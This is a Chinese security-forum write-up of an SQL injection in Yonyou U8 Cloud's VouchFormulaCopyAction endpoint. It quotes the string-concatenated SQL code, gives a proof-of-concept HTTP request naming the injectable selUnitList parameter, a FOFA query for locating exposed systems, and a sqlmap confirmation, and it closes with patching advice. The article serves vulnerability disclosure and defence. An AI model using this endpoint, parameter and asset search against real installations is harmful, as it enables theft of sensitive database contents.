问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友U8 Cloud系统VouchFormulaCopyAction方法SQL注入漏洞分析
渗透测试
用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
一、漏洞简介 ------ 用友U8 Cloud系统`VouchFormulaCopyAction`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息 二、影响版本 ------ 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 三、漏洞原理分析 -------- 首先看漏洞位于`VouchFormulaCopyAction`接口处,方法的完整路径为`nc.ui.hbbb.innertrade.VouchFormulaCopyAction`,因为是Action方法,所以是按照用友的ActionServlet方法调用的方法漏洞  VouchFormulaCopyAction中的关键execute方法完整代码如下  ```php public ActionForward execute(ActionForm actionForm) { VouchQueryForm form = (VouchQueryForm)actionForm; String[] strCopyUnitCodes = getListValues("selCopyUnitList"); String[] strMeasPKs = getListValues("selItemList"); String[] strCounterUnitPKs = getListValues("selUnitList"); VouchFormulaCondVO cond = new VouchFormulaCondVO(); cond.setSelfUnitCode(form.getSelfUnitPK()); cond.setItemCodes(strMeasPKs); cond.setCounterUnitCodes(strCounterUnitPKs); try { VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond); ArrayList<VouchFormulaVO> vForm = new ArrayList(); int i; for (i = 0; i < formulas.length; i++) { for (int j = 0; j < (formulas[i]).length; j++) vForm.add(formulas[i][j]); } for (i = 0; i < strCopyUnitCodes.length; i++) { if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) { for (int j = 0; j < vForm.size(); j++) { VouchFormulaVO formula = vForm.get(j); formula.setSelfUnitCode(strCopyUnitCodes[i]); } VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0])); } } } catch (Exception e) { AppDebug.debug(e); return (ActionForward)new ErrorForward(e.getMessage()); } return (ActionForward)new CloseForward("window_close();"); } ``` 这里是有三个传参的,分别是`selCopyUnitList、selItemList、selUnitList`  可以反向定位一下,这些传参进了哪些方法当中,可以看到VouchFormulaCondVO中保存了上面的传参,再作为cond传入了`getVouchFormulasByCond`方法之中  那么去找这个方法,一通定位来到方法当中  这里面多个参数都有注入,所以我挑其中一个讲讲 ```php StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?"); bufSQL.append(" and counterunit_code in ("); String[] strUnitPKs = cond.getCounterUnitCodes(); for (int i = 0; i < strUnitPKs.length; i++) { bufSQL.append("'" + strUnitPKs[i] + "'"); if (i < strUnitPKs.length - 1) { bufSQL.append(","); } else { bufSQL.append(")"); } } ``` 这里cond的`counterUnitCodes`对应传参`selUnitList` 它用for循环将数组里面的字符串进行拼接,以` and counterunit_code in ( `开头,最后再以`)`结尾闭合括号 因此很明显可以在数组里面传括号提前闭合,造成SQL注入漏洞 该漏洞的请求数据包如下 ```php GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close ``` 四、总结 ---- 用友U8 Cloud系统`VouchFormulaCopyAction`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息 五、资产测绘 ------ FOFA语法 ```php app="用友-U8-Cloud" ```  六、漏洞复现 ------ POC ```php GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close ``` `selUnitList`参数存在注入,使用SQLMAP注入验证下,存在堆叠注入  七、修复建议 ------ 安装用友U8 Cloud最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的方法逻辑。
发表于 2025-09-08 18:05:34
阅读 ( 232 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!